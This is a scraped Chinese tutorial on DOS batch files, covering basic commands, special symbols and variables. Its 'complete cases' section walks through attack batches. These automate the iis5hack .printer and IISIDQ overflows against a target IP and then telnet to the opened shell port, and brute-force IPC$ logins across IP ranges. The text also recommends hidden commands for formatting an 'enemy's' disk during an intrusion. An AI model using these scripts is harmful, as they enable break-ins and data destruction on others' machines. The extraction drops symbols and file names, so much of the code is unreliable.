DOS批處理教程精選簡(jiǎn)單易懂_第1頁(yè)
DOS批處理教程精選簡(jiǎn)單易懂_第2頁(yè)
DOS批處理教程精選簡(jiǎn)單易懂_第3頁(yè)
DOS批處理教程精選簡(jiǎn)單易懂_第4頁(yè)
DOS批處理教程精選簡(jiǎn)單易懂_第5頁(yè)
已閱讀5頁(yè),還剩62頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、從簡(jiǎn)單學(xué)起echo、 、 call、pause、 rem 是批處理文件最常用的幾個(gè)命令,我們就從他們開(kāi)始學(xué)起。 echo 表示顯示此命令后的字符echo off 表示在此語(yǔ)句后所有運(yùn)行的命令都不顯示命令行本身 與 echo off 相象,但它是加在其它命令行的最前面,表示運(yùn)行時(shí)不顯示命令行本身。call 調(diào)用另一條批處理文件(如果直接調(diào)用別的批處理文件,執(zhí)行完那條文 件后將無(wú)法執(zhí)行當(dāng)前文件后續(xù)命令)pause 運(yùn)行此句會(huì)暫停,顯示 Press any key to continue.等. 待用戶(hù)按任意鍵 后繼續(xù)rem 表示此命令后的字符為解釋行,不執(zhí)行,只是給自己今后查找用的 批處理命令大全(

2、一)第一部分:批處理的專(zhuān)用命令 批處理文件是將一系列命令按一定的順序集合為一個(gè)可執(zhí)行的文本文件,其擴(kuò)展名為BAT。這些命令統(tǒng)稱(chēng)批處理命令,下面我就來(lái)給大家介紹一下批處理的命令。1、REMREM 是個(gè)注釋命令一般是用來(lái)給程序加上注解的,該命令后的內(nèi)容在程序執(zhí)行的時(shí)候?qū)⒉粫?huì)被顯示和執(zhí)行。例:REM 你現(xiàn)在看到的就是注解,這一句將不會(huì)被執(zhí)行。在以后的例子中解釋的內(nèi)容都REM會(huì)放在REM后面。請(qǐng)大家注意。2、ECHOECHO是一個(gè)回顯命令主要參數(shù)有 OFF和ON,般用ECHOmessag來(lái)顯示-個(gè)特定的消息。例:Echo offRem以上代表關(guān)閉回顯即不顯示所執(zhí)行的命令Echo這個(gè)就是消息Rem 以上

3、代表顯示 “這就是消息 ”這列字符執(zhí)行結(jié)果:C:這個(gè)就是消息。3、GOTOGOTO即為跳轉(zhuǎn)的意思。在批處理中允許以 :XXX來(lái)構(gòu)建一個(gè)標(biāo)號(hào)然后用 GOTO標(biāo)號(hào)直接來(lái)執(zhí)行標(biāo)號(hào)后的命令。例:LABELREM上面就是名為L(zhǎng)ABEL的標(biāo)號(hào)。DIR C:DIR D:GOTO LABELREM以上程序跳轉(zhuǎn)標(biāo)號(hào)LABEL處繼續(xù)執(zhí)行。4、CALLCALL命令可以在批處理執(zhí)行過(guò)程中調(diào)用另一個(gè)批處理,當(dāng)另一個(gè)批處理執(zhí) 行完后再繼續(xù)執(zhí)行原來(lái)的批處理。例:批處理內(nèi)容如下:ECHO這就是2的內(nèi)容批處理內(nèi)容如下:ECHO這是1的內(nèi)容CALLECHO 1和 2 的內(nèi)容全部顯示完成執(zhí)行結(jié)果如下:C:這是 1 的內(nèi)容這就是 2

4、 的內(nèi)容1和 2的內(nèi)容全部顯示完成5、PAUSEPAUSE亭止系統(tǒng)命令的執(zhí)行并顯示下面的內(nèi)容。例:C: PAUSE請(qǐng)按任意鍵繼續(xù) . . .6、IFIF 條件判斷語(yǔ)句,語(yǔ)法格式如下:IF NOT ERRORLEVEL number commandIF NOT string1=string2 commandIF NOT EXIST filename command說(shuō)明:NOT將返回的結(jié)果取反值即 如果沒(méi)有”的意思。ERRORLEVE是命令執(zhí)行完成后返回的退出值Number 退出值的數(shù)字取值范圍 0255。判斷時(shí)值的排列順序應(yīng)該又大到 小。返回的值大于或等于指定的值時(shí)條件成立。string1=st

5、ring2 string1 和 string2 都為字符的數(shù)據(jù),英文字符的大小寫(xiě)將看 做不同,這個(gè)條件中的等于號(hào)必須是 2 個(gè)(絕對(duì)相等),條件想等后即執(zhí)行后 面的 commandEXIST file name為文件或目錄存在的意思。IFERRORLEVE這條語(yǔ)句必須放在某一個(gè)命令后面。執(zhí)行命令后由IFERRORLEVEIL判斷命令的返回值。例:1、IF NOT ERRORLEVEL number command檢測(cè)命令執(zhí)行完后的返回值做出判斷。echo offdir z:rem 如果退出代碼為 1(不成功)就跳至標(biāo)題 1 處執(zhí)行IF ERRORLEVEL 1 goto 1rem 如果退出代碼

6、為 0(成功)就跳至標(biāo)題 0 處執(zhí)行IF ERRORLEVEL 0 goto 0:0echo 命令執(zhí)行成功!Rem 程序執(zhí)行完畢跳至標(biāo)題 exit 處退出goto exit:1echo 命令執(zhí)行失敗!Rem 程序執(zhí)行完畢跳至標(biāo)題 exit 處退出goto exit:exitRem這里是程序的出口2、IF string1=string2 command 檢測(cè)當(dāng)前變量的值做出判斷ECHO OFFIF %1=2 goto noEcho變量相等!Goto exit:noecho 變量不相等goto exit:exit大家可以這樣看效果C:數(shù)字3、IF NOT EXIST filename comman

7、d 發(fā)現(xiàn)特定的文件做出判斷echo offIF not EXIST goto 1 echo 文件存在成功! goto exit:1echo 文件不存在失?。oto exit:exit這個(gè)批處理大家可以放在c盤(pán)和d盤(pán)分別執(zhí)行看看效果。7、FORFOR這個(gè)命令比較特殊是一個(gè)循環(huán)執(zhí)行命令的命令,同時(shí)FOR的循環(huán)里面還可以套用FOR在進(jìn)行循環(huán)。這篇我們介紹基本的用法就不做套用的循環(huán)了, 后面再來(lái)講解套用的循環(huán)。在批處理中 FOR的命令如下:FOR %c IN (set) DO command arguments在命令行中命令如下:FOR %c IN (set) DO command argument

8、s常用參數(shù):/L 該集表示以增量形式從開(kāi)始到結(jié)束的一個(gè)數(shù)字序列。因此,(1,1,5)將產(chǎn)生序列 1 2 3 4 5, (5,-1,1)將產(chǎn)生序列 (5 4 3 2 1)。/D 如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。/F 從指定的文件中讀取數(shù)據(jù)作為變量eol=c-指一個(gè)行注釋字符的結(jié)尾 (就一個(gè) )skip=n-指在文件開(kāi)始時(shí)忽略的行數(shù)。delims=xxx-指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。tokens=x,y,m-n -指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代的for 本身。這會(huì)導(dǎo)致額外變量名稱(chēng)的分配。m-n格式為一個(gè)范圍。通過(guò)nth符號(hào)指定mth。如果符 號(hào)字

9、符串中的最后一個(gè)字符星號(hào),那么額外的變量將在最后一個(gè)符號(hào)解析之后 分配并接受行的保留文本。usebackq-指定新語(yǔ)法已在下類(lèi)情況中使用 :在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且一個(gè)單引號(hào)字符為文字字符串命令并允許在 filenameset 中使 用雙引號(hào)擴(kuò)起文件名稱(chēng)。下面來(lái)看一個(gè)例子:FOR /F eol二;toke ns=2,3* delims二,%i in do echo %i %j %會(huì)分析中的每 一行,忽略以分號(hào)打頭的那些行,將每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程 序體;用逗號(hào)和 /或空格定界符號(hào)。請(qǐng)注意,這個(gè) for 程序體的語(yǔ)句引用 %i 來(lái)取 得第二個(gè)符號(hào),引用%j來(lái)取得

10、第三個(gè)符號(hào),引用%k來(lái)取得第三個(gè)符號(hào)后的所有 剩余符號(hào)。對(duì)于帶有空格的文件名,您需要用雙引號(hào)將文件名括起來(lái)。為了用 這種方式來(lái)使用雙引號(hào),您還需要使用 usebackq選項(xiàng),否則,雙引號(hào)會(huì)被理解 成是用作定義某個(gè)要分析的字符串的。%i專(zhuān)門(mén)在for語(yǔ)句中得到說(shuō)明,%j和%k是通過(guò)toke門(mén)5=選項(xiàng)專(zhuān)門(mén)得到說(shuō)明 的。您可以通過(guò)tokens二一行指定最多26個(gè)符號(hào),只要不試圖說(shuō)明一個(gè)高于字 母z或Z的變量。請(qǐng)記住,F(xiàn)OR變量名分大小寫(xiě),是通用的;而且,同時(shí)不能有 52個(gè)以上都在使用中。您還可以在相鄰字符串上使用FOR/F分析邏輯;方法是,用單引號(hào)將括號(hào)之間的 filenameset 括起來(lái)。這樣,該

11、字符串會(huì)被當(dāng)作一個(gè) 文件中的一個(gè)單一輸入行。最后,您可以用 FOR/F命令來(lái)分析命令的輸出。方 法是,將括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)被當(dāng)作命令行,傳遞到一個(gè)子,其輸出會(huì)被抓進(jìn)內(nèi)存,并被當(dāng) 作文件分析。因此,以下例子 :FOR /F usebackq delims= %i IN (set) DO echo 會(huì)枚舉當(dāng)前環(huán)境中的環(huán) 境變量名稱(chēng)。以下列舉一個(gè)簡(jiǎn)單的例子,他將說(shuō)明參數(shù) /L 和沒(méi)有參數(shù)的區(qū)別:刪除文件例:ECHO OFFFOR /L %F IN (1,1,5) DO DEL %FOR %F IN (1,2,3,4,5) DO DEL %以上 2 條命

12、令執(zhí)行的結(jié)果都是一樣的如下:C:DELC:DELC:DELC:DELC:DEL8、SETLOCAL開(kāi)始批處理文件中環(huán)境改動(dòng)的本地化操作。在執(zhí)行 SETLOCA之后所做的環(huán) 境改動(dòng)只限于批處理文件。要還原原先的設(shè)置,必須執(zhí)行 ENDLOCAL達(dá)到批處 理文件結(jié)尾時(shí),對(duì)于該批處理文件的每個(gè)尚未執(zhí)行的 SETLOCA命令,都會(huì)有一 個(gè)隱含的ENDLOCA被執(zhí)行。例:ECHO OFFSET PATH/* 察看環(huán)境變量 PATHPAUSESETLOCALSET PATH=E:TOOLS /* 重新設(shè)置環(huán)境變量 PATHSET PATHPAUSEENDLOCALSET PATH從上例我們可以看到環(huán)境變量

13、PATH第1次被顯示得時(shí)候是系統(tǒng)默認(rèn)路徑。 被設(shè)置成了 E:TOOLS后顯示為E:TOOLS旦當(dāng)ENDLOCA后我們可以看到他又被 還原成了系統(tǒng)的默認(rèn)路徑。但這個(gè)設(shè)置只在該批處理運(yùn)行的時(shí)候有作用。當(dāng)批 處理運(yùn)行完成后環(huán)境變量PATH將會(huì)還原。9、SHIFTSHIFT命令可以讓在命令上的的命令使用超過(guò) 10個(gè)(0%9以上的可替 代參數(shù)例:ECHO OFFECHO %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %1 %2 %3 %4 %5 %6 %7 %8 %9執(zhí)行結(jié)果如下:C: 1 2 3 4 5

14、6 7 8 9 10 111 2 3 4 5 6 7 8 92 3 4 5 6 7 8 9 103 4 5 6 7 8 9 10 11以上就是基于 WIN2000下的9個(gè)批處理命令。批處理命令大全(二)2007-05-10 11:49第二部分:特殊的符號(hào)與批處理在命令行下有些符號(hào)是不允許使用的旦有些符號(hào)卻有著特殊的意義。1 、符號(hào) ()在批處理中的意思是關(guān)閉當(dāng)前行的回顯。我們從上面知道用命令echo off可以關(guān)掉整個(gè)批處理的命令回顯但卻不能不顯示 echo off 這個(gè)命令?,F(xiàn)在我們 在這個(gè)命令前加上 這樣 echooff 這一命令就被 關(guān)閉了回顯從而達(dá)到所有命令 均不回顯得要求2、符號(hào) (

15、)的意思是傳遞并覆蓋。他所起的作用是將運(yùn)行后的回顯結(jié)果傳遞到后面的 范圍(后面可是文件也可是默認(rèn)的系統(tǒng)控制臺(tái))例:文件的文件內(nèi)容為:1+1使用命令 c:dir *.txt 這時(shí)候的內(nèi)容如下驅(qū)動(dòng)器 C 中的卷沒(méi)有標(biāo)簽。卷的序列號(hào)是 301A-1508的目錄2003-03-11 14:041,0052003-04-04 16:3818,598,4942003-04-04 17:0252003-03-12 11:4305 個(gè)文件 18,630,070 字節(jié)0 個(gè)目錄 1,191,542,784 可用字節(jié)將命令執(zhí)行的結(jié)果覆蓋了原始的文件內(nèi)容。在傳遞給控制臺(tái)的時(shí)候程序?qū)⒉粫?huì)有任何回顯(注意:這里的回顯跟

16、 echo off關(guān)掉的回顯不是同一概念。Echo off關(guān)掉的是輸入命令的回顯,這里的回顯 是程序執(zhí)行中或后的回顯)例:C:dir *.txt nul程序?qū)](méi)有任何顯示也不會(huì)產(chǎn)生任何痕跡。3、符號(hào) ()符號(hào) 的作用與符號(hào) 相似,但他們的區(qū)別在于 是傳遞并在文件末尾追 加也可將回顯傳遞給控制臺(tái)(用法同上)例:文件內(nèi)同為:1+1使用命令 c:dir *.txt 這時(shí)候的內(nèi)容如下1+1驅(qū)動(dòng)器 C 中的卷沒(méi)有標(biāo)簽。卷的序列號(hào)是 301A-1508的目錄2003-03-11 14:041,0052003-04-04 16:3818,598,4942003-04-04 17:022003-03-12 1

17、1:435 個(gè)文件 18,630,070 字節(jié)0 個(gè)目錄 1,191,542,784 可用字節(jié)將命令執(zhí)行的結(jié)果覆加在了原始的文件內(nèi)容后面4、符號(hào) (|)| 是一個(gè)管道傳輸命令意思是將上一命令執(zhí)行的結(jié)果傳遞給下一命令去處 理。例:C:dir c:|find 1508卷的序列號(hào)是 301A-1508以上命令的意思為查找的所有并發(fā)現(xiàn)1508字符串。Find的用法請(qǐng)用find/ 自行查看在不使用 format 的自動(dòng)格式化參數(shù)的時(shí)候我是這樣來(lái)自動(dòng)格式化盤(pán)片的echo y|fornat a: /s /q /v:system用過(guò) format 命令的人都知道 format 有一個(gè)交互對(duì)化過(guò)程,要使用者輸入

18、 y 來(lái)確定當(dāng)前的命令是否被執(zhí)行。在這個(gè)命令前加上echo y并用管道傳輸符|將echo 執(zhí)行的結(jié)果 y 傳遞給 format 從而達(dá)到手工輸入 y 的目的(這條命令有危害 性,測(cè)試的時(shí)候請(qǐng)謹(jǐn)慎)5、符號(hào)(八)八是對(duì)特殊符號(hào)、echo test Atest 從上面可以看出并沒(méi)有把 test 寫(xiě)入文件而是將 test 當(dāng)字符串顯示了出來(lái)。 這個(gè)符號(hào)在遠(yuǎn)程構(gòu)建批處理的時(shí)候很有效果。6、符號(hào) (&)&符號(hào)允許在一行中使用 2 個(gè)以上不同的命令,當(dāng)?shù)谝粋€(gè)命令執(zhí)行失敗將不 影響第 2 個(gè)命令的執(zhí)行。例:c: dir z: &dir y: &dir c:以上的命令將會(huì)連續(xù)顯示z: y: c盤(pán)內(nèi)的內(nèi)容不理會(huì)

19、該盤(pán)符是否存在。7、符號(hào) (&)&符號(hào)也是允許在一行中使用 2 個(gè)以上不同的命令,當(dāng)?shù)谝粋€(gè)命令執(zhí)行失 敗后后續(xù)的命令將不會(huì)再被執(zhí)行。例:c: dir z: &dir y: &dir c:以上的命令將會(huì)提示檢查是否存在Z:盤(pán)如果存在則執(zhí)行,如果不存在則停止執(zhí)行所有的后續(xù)命令8、符號(hào)( ) 符號(hào)允許在字符串中包含空格。進(jìn)入一個(gè)特殊的目錄可以用如下方法例cd “ Program Files ”c:cd progra1c:cd pro*以上方法都可以進(jìn)入 Program Files目錄9、符號(hào)( ,),符號(hào)相當(dāng)于空格。在某些特殊的情況下可以用,來(lái)代替空格使用。例:c:dir,c:10、符號(hào) (;);符

20、號(hào)當(dāng)命令相同的時(shí)候可以將不同的目標(biāo)用;隔離開(kāi)來(lái)但執(zhí)行效果不變。如執(zhí)行過(guò)程中發(fā)生錯(cuò)誤則只返回錯(cuò)誤報(bào)告但程序還是會(huì)繼續(xù)執(zhí)行。例:DIR C:;D:;E:F:以上的命令相當(dāng)于DIR C:DIR D:DIR E:DIR F:當(dāng)然還有些特殊的符號(hào)但他們的使用范圍很小我就不再這里一一的說(shuō)明 了。批處理命令大全(三)第三部分:批處理與變量在批處理中適當(dāng)?shù)囊米兞繉?huì)使你所編制的程序應(yīng)用面更廣。批處理每 次能處理的變量從 %0%9共 10個(gè)。其中 %0默認(rèn)給批處理的文件名使用。除非 在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面 多加上一個(gè) %0那么結(jié)果如下:C: 1 2

21、3 4 5 6 7 8 9 10 111 2 3 4 5 6 7 8 91 2 3 4 5 6 7 8 9 102 3 4 5 6 7 8 9 10 11系統(tǒng)是如何區(qū)分每個(gè)變量的呢,系統(tǒng)區(qū)分變量的規(guī)則為字符串中間的空 格,即只要發(fā)現(xiàn)空格就把空格前面的字符當(dāng)作一個(gè)變量而空格后面的字符則作 為另一個(gè)變量。如果你的變量是一個(gè)當(dāng)中包含空格的長(zhǎng)目錄名這時(shí)候你需要用 上一節(jié)特殊符號(hào) 8 中所用的引號(hào)將他圈起來(lái)。例:批處理內(nèi)容為:ECHO %1ECHO %2ECHO %3輸入命令:TEST “ Program FilesProgram FilesProgram FilesProgramFiles在一個(gè)復(fù)雜的

22、批處理中又可能同時(shí)使用的變量會(huì)超過(guò)10 個(gè)這時(shí)候會(huì)和系統(tǒng)的規(guī)則想沖突那么這個(gè)問(wèn)題怎么解決呢在系統(tǒng)中還有一種變量稱(chēng)之為環(huán)境變量(使用SET命令可以查看當(dāng)前系統(tǒng)的環(huán)境變量)如當(dāng)前系統(tǒng)目錄是 windir% 或SystemRoot%等。當(dāng)同時(shí)使用的參數(shù)超過(guò)10個(gè)的時(shí)候,我們可以把某些在 后面的程序中還要調(diào)用的變量保存為環(huán)境變量。具體用法如SETA=%1S樣我們就命名了一個(gè)新的環(huán)境變量 A在調(diào)用變量A的時(shí)候要A%這樣調(diào)用,環(huán)境變量 不受SHIFT命令影響。如果要改變一個(gè)環(huán)境變量需要重新對(duì)其設(shè)置才能改變。當(dāng) 然也可以進(jìn)行變量與變量之間的傳遞來(lái)達(dá)到目的。下面我們來(lái)看一個(gè)例子,批 處理如下:ECHO OFF

23、SET PASS=%1SHIFTSET PASS1=%1SHIFTECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %PASS% %PASS1% %9SET PASS=%PASS變量 的傳遞SET PASS1=%9SHIFTECHO %PASS% %PASS1% %9使用命令: C:TEST A B 3 4 5 6 7 8 9 10 K LA B 3 4 5 6 7 8 9 10 I注意:這一行顯示了 11個(gè)變量A B L在使用了 3次SHIFT之后%9變成了 LB L 變量的傳遞后的結(jié)果批處理命令大全(四)第四部分:完整案例以上就

24、是批處理的一些用法?,F(xiàn)在我們把這些用法結(jié)合起來(lái)詳細(xì)的分析一 下目前網(wǎng)上發(fā)布的一些批處理,看看他們是怎么運(yùn)作的。這里我將列舉三個(gè)例 子來(lái)詳細(xì)分析,為了保持程序的完整我的注釋會(huì)加在 /* 后面。例一這個(gè)例子是利用對(duì)有 .printer 漏洞的主機(jī)進(jìn)行溢出的批處理。用到的程序有 和系統(tǒng)自帶的。 iis5hack 的命令格式為:iis5hack 目標(biāo) ip 目標(biāo)端口 目標(biāo)版本 溢出連接端口 目標(biāo)版本為 0-9 這 10 個(gè)數(shù)字分別對(duì)應(yīng)不同語(yǔ)言版本和 sp 的系統(tǒng)版本,我們編制的批處理使用 的命令格式為開(kāi)始版本號(hào)可有可無(wú)。程序如下。echo offif %1%= goto help/* 判斷 %1 是否

25、為空,%1 為目標(biāo) ipif%2%=1 goto 1/* 判斷%2是否為 1,為 1 則跳轉(zhuǎn)標(biāo)志 1if%2%=2 goto 2/*%2 為開(kāi)始版本號(hào),如果沒(méi)有設(shè)置則if%2%=3 goto 3/* 如果存在則從匹配的地方開(kāi)始執(zhí)行if%2%=4 goto 4if%2%=5 goto 5if%2%=6 goto 6/* 關(guān)閉命令回顯if %2%=7 goto 7if %2%=8 goto 8if not EXIST goto file /* 沒(méi)有發(fā)現(xiàn)就執(zhí)行標(biāo)志 file 段內(nèi)容 ping %1 -n 1 | find Received = 1 /*ping 目標(biāo) 1 次,從結(jié)果中發(fā)現(xiàn) Recei

26、ved = 1if errorlevel 1 goto error /* 如果返回代碼為 1 則執(zhí)行 error 段(代碼 1 為沒(méi)有發(fā)現(xiàn) 0 為發(fā)現(xiàn)并成功執(zhí)行 )iis5hack %1 80 9 88 | find good /*開(kāi)始溢出目標(biāo)端口 80 系統(tǒng)代碼 9溢出后 連接端口 88在執(zhí)行結(jié)果中發(fā)現(xiàn)字符串” good溢(出成功后才會(huì)有字符串good)if noterrorlevel1gototelnet/* 如果沒(méi)有錯(cuò)誤代碼 1(溢出成功)就執(zhí)行telnet 段的內(nèi)容。 echo 操作系統(tǒng)類(lèi)型 9 失敗!/ 否則顯示這一句:8 /* 以下代碼內(nèi)容參照上面iis5hack %1 80 8

27、88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類(lèi)型 8 失敗 !:7iis5hack %1 80 7 88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類(lèi)型 7 失敗 !:6iis5hack %1 80 6 88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類(lèi)型 6 失敗 !:5 iis5hack %1 80 5 88 | find good if not errorlevel 1 goto telnet echo 操

28、作系統(tǒng)類(lèi)型 5 失敗 !:4iis5hack %1 80 4 88 | find good if not errorlevel 1 goto telnet echo 操作系統(tǒng)類(lèi)型 4 失敗 !:3iis5hack %1 80 3 88 | find good if not errorlevel 1 goto telnet echo 操作系統(tǒng)類(lèi)型 3 失敗 !:2iis5hack %1 80 2 88 | find good if not errorlevel 1 goto telnet echo 操作系統(tǒng)類(lèi)型 2 失敗 !:1iis5hack %1 80 1 88 | find good if

29、 not errorlevel 1 goto telnet echo 操作系統(tǒng)類(lèi)型 1 失敗 !:0iis5hack %1 80 0 88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類(lèi)型 0 失敗 !goto error:telnettelnet %1 88 /* 開(kāi)始連接目標(biāo) ip 的 88 端口 goto exit /* 連接中斷后跳轉(zhuǎn) exit 段:error /*error 段顯示錯(cuò)誤后的幫助信息echo 可能網(wǎng)絡(luò)不能連接或者對(duì)方以修補(bǔ)該漏洞 !請(qǐng)按照下面的格式手工嘗試 一次!echo iis5hack 目標(biāo)IP WEB端口

30、系統(tǒng)類(lèi)型開(kāi)放端口 ECHO中文:0ECHO中文 +sp1:1ECHO英文:2ECHO英文 +sp1:3ECHO日語(yǔ):4ECHO 日語(yǔ) +sp1:5ECHOxx:6ECHOxx+sp1:7ECHOx語(yǔ):8ECHO墨 西哥語(yǔ) +sp1:9goto exit/*跳轉(zhuǎn) exit 段:file/*file 段顯示文件沒(méi)有發(fā)現(xiàn)的信息echo 文件沒(méi)有發(fā)現(xiàn) !程序終止運(yùn)行 !goto exit /* 跳轉(zhuǎn) exit 段:help /*help 段顯示本批處理的使用格式幫助echo 本程序用法如下 :echo iis 目標(biāo) ipecho iis 目標(biāo) ip 開(kāi)始的號(hào)碼 9-0:exit /*exit 段為程序

31、出口 這個(gè)批處理基本沒(méi)有什么循環(huán)只是一路走下來(lái)。所以代碼比較長(zhǎng)難度不大!例二這個(gè)例子是用對(duì)有 idq 漏洞的機(jī)器進(jìn)行溢出的批處理。使用的程序有和系統(tǒng) 自帶的程序。的用法如下:運(yùn)行參數(shù) :操作系統(tǒng)類(lèi)型目的地址 web 端口 1 溢出監(jiān)聽(tīng)端口 其中,如果輸入命令參數(shù)沒(méi)有輸入 ,那么,默認(rèn)為 :。其中操作系統(tǒng)類(lèi)型類(lèi)型的代碼范圍是 0-14。我們編制的批處理使用的命令格式為程序如下:echo off /* 同例一if not EXIST goto file /* 同例一if %1 = goto error/* 同例一ping %1 -n 1 | find Received = 1/* 同例一if er

32、rorlevel 1 goto error1 /* 同例一set b=%1/*創(chuàng)建一個(gè)環(huán)境變量b,將變量%1的內(nèi)容傳遞給環(huán)境變量b。變量b的內(nèi)容以后將是目標(biāo)ipset a=0/* 創(chuàng)建一個(gè)環(huán)境變量 a 并指定環(huán)境變量 a 為 0。由于使用整個(gè)批處理的循環(huán)所以用 a來(lái)做計(jì)數(shù)器。:no /*no 段開(kāi)始if %a%=0 set d=0 /*如果環(huán)境變量a=0則創(chuàng)建環(huán)境變量d設(shè)定環(huán)境變量 d=0。if %a%=1 set d=1 /環(huán)境變量d其實(shí)是操作系統(tǒng)類(lèi)型代碼,用計(jì)數(shù)器來(lái)控制 其if %a%=2 set d=2 /*變動(dòng)。if %a%=3 set d=3if %a%=4 set d=4if %a

33、%=5 set d=5if %a%=6 set d=6if %a%=7 set d=7if %a%=9 set d=9if %a%=10 set d=13if %a%=11 set d=14goto 0/* 變量傳遞完成后轉(zhuǎn)到標(biāo)志 0 處運(yùn)行:1echo正在執(zhí)行第d%項(xiàng)!與目標(biāo)%b%不能連接!正在嘗試連接請(qǐng)等候 :0/* 標(biāo)志 0 開(kāi)始IISIDQ %d% %b% 80 1 99 |find good /*按格式發(fā)送溢出命令并在結(jié)果中發(fā)現(xiàn)字符串good (發(fā)送代碼成功才會(huì)有字符串 good) if errorlevel 1 goto 1 /* 如果沒(méi)有 good 字符串則沒(méi)有發(fā)送成跳/* 轉(zhuǎn)標(biāo)

34、志 1 處繼續(xù)嘗試發(fā)送/* 行結(jié)果echo正在執(zhí)行第d%項(xiàng)!/*報(bào)告正在溢出的操作系統(tǒng)類(lèi)型telnet %b% 99/* 連接溢出端口echo./* 顯示一個(gè)空行if %d%=14 goto error1 /* 如果操作系統(tǒng)類(lèi)型為 14則跳轉(zhuǎn) error1 處 (循環(huán)出口)if %d%=13 set a=11/* 開(kāi)始用計(jì)數(shù)器對(duì)操作系統(tǒng)代碼重新附值if %d%=9 set a=10if %d%=7 set a=9if %d%=6 set a=7if %d%=5 set a=6if %d%=4 set a=5if %d%=3 set a=4if %d%=2 set a=3if %d%=1 set

35、 a=2if %d%=0 set a=1goto no/* 附值完成跳轉(zhuǎn) no 段執(zhí)行:file/* 以下都是出錯(cuò)后的幫助提示echo沒(méi)有發(fā)現(xiàn)!將該文件和本文件放在同一目錄!goto exit:errorecho錯(cuò)誤!目標(biāo)ip不可識(shí)別!請(qǐng)使用下面的格式連接!echo idq 目標(biāo) IPgoto exit:error1echo 連接沒(méi)有成功 !可能目標(biāo)機(jī)器已經(jīng)修補(bǔ)了該漏洞或者網(wǎng)絡(luò)故障所至 !echo 請(qǐng)按照下面的格式手工嘗試 !echo iisidq 目標(biāo)類(lèi)型 目標(biāo) IP 目標(biāo)端口 連接方式 溢出端口 echo telnet 目標(biāo) ip 溢出端口 :exit/* 整個(gè)程序的出口這個(gè)批處理采用的整

36、體循環(huán)掌握好計(jì)數(shù)器部分就掌握了這個(gè)批處理。例三for/l%ain(0,1,255)dofor/l%bin(0,1,255)dofor/l%cin(1,1,254)dofor/ftokens =1,2*%eindonetuse%1.%a.%b.%cipc$ %e /u:%f上面的命令為1條命令。大家可以看出該命令使用了4個(gè)FOR來(lái)套用的。用法為:C: 218當(dāng)輸入218回車(chē)后該命令會(huì)由第1個(gè)for取初始值0為%a然 后繼續(xù)取第2個(gè)for的初始值0為%b繼續(xù)取第3個(gè)for的初始值1為%c最后 一個(gè)for是將中的第一段字符作為密碼%e第二段字符作為用戶(hù)名%f最后執(zhí) 行命令(這里我把上面的值都帶進(jìn)去,

37、設(shè)密碼為123 用戶(hù)名為 abc)批處理命令 2008-03-25 23:命令打開(kāi)回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒(méi)有任何參數(shù), echo 命 令將顯示當(dāng)前回顯設(shè)置。語(yǔ)法echo on|off messageSample:echo off / echo hello world在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱(chēng)為管道符號(hào),一般 用 勺結(jié)合來(lái)實(shí)現(xiàn)輸入一些命令到特定格式的文件中這將在以后的例子中體 現(xiàn)出來(lái)。2. 命令表示不顯示 后面的命令,在入侵過(guò)程中(例如使用批處理來(lái)格式化敵人 的硬盤(pán))自然不能讓對(duì)方看到你使用的命令啦。Sample:echo offecho Now initi

38、alizing the program,please wait a minite.format X: /q/u/autoset (format 這個(gè)命令是不可以使用 /y 這個(gè)參數(shù)的,可喜的是微軟留了 個(gè) autoset 這個(gè)參數(shù)給我們,效果和 /y 是一樣的。 )命令指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_(kāi)始的命令。語(yǔ)法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)Sample:if %1= goto noparmsif %2= goto noparms(如果這里的if、1、%2你不明白的話,先跳過(guò) 去,后面會(huì)有詳細(xì)的解釋。)Rem check par

39、ameters if null show usage:noparmsecho Usage: ServerIP PortNumbergoto end標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來(lái) 表示這個(gè)字母是標(biāo)簽, goto 命令就是根據(jù)這個(gè):來(lái)尋找下一步跳到到那里。最 好有一些說(shuō)明這樣你別人看起來(lái)才會(huì)理解你的意圖啊。命令注釋命令,在 C 語(yǔ)言中相當(dāng)與 /*/, 它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。Rem MessageSample:Rem Here is the description.命令運(yùn)行Pause命令時(shí),將顯示下面的消息:Press

40、any key to continue . . .Sample:echo off:begincopy a:*.* d : backecho Please put a new disk into driver Apausegoto begin在這個(gè)例子中,驅(qū)動(dòng)器 A中磁盤(pán)上的所有文件均復(fù)制到d:back中。顯示的注釋提示您將另一張磁盤(pán)放入驅(qū)動(dòng)器A時(shí),pause命令會(huì)使程序掛起,以便您更換磁盤(pán),然后按任意鍵繼續(xù)處理。命令從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。 call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call,它將不會(huì) 在命令行起作用。語(yǔ)法call

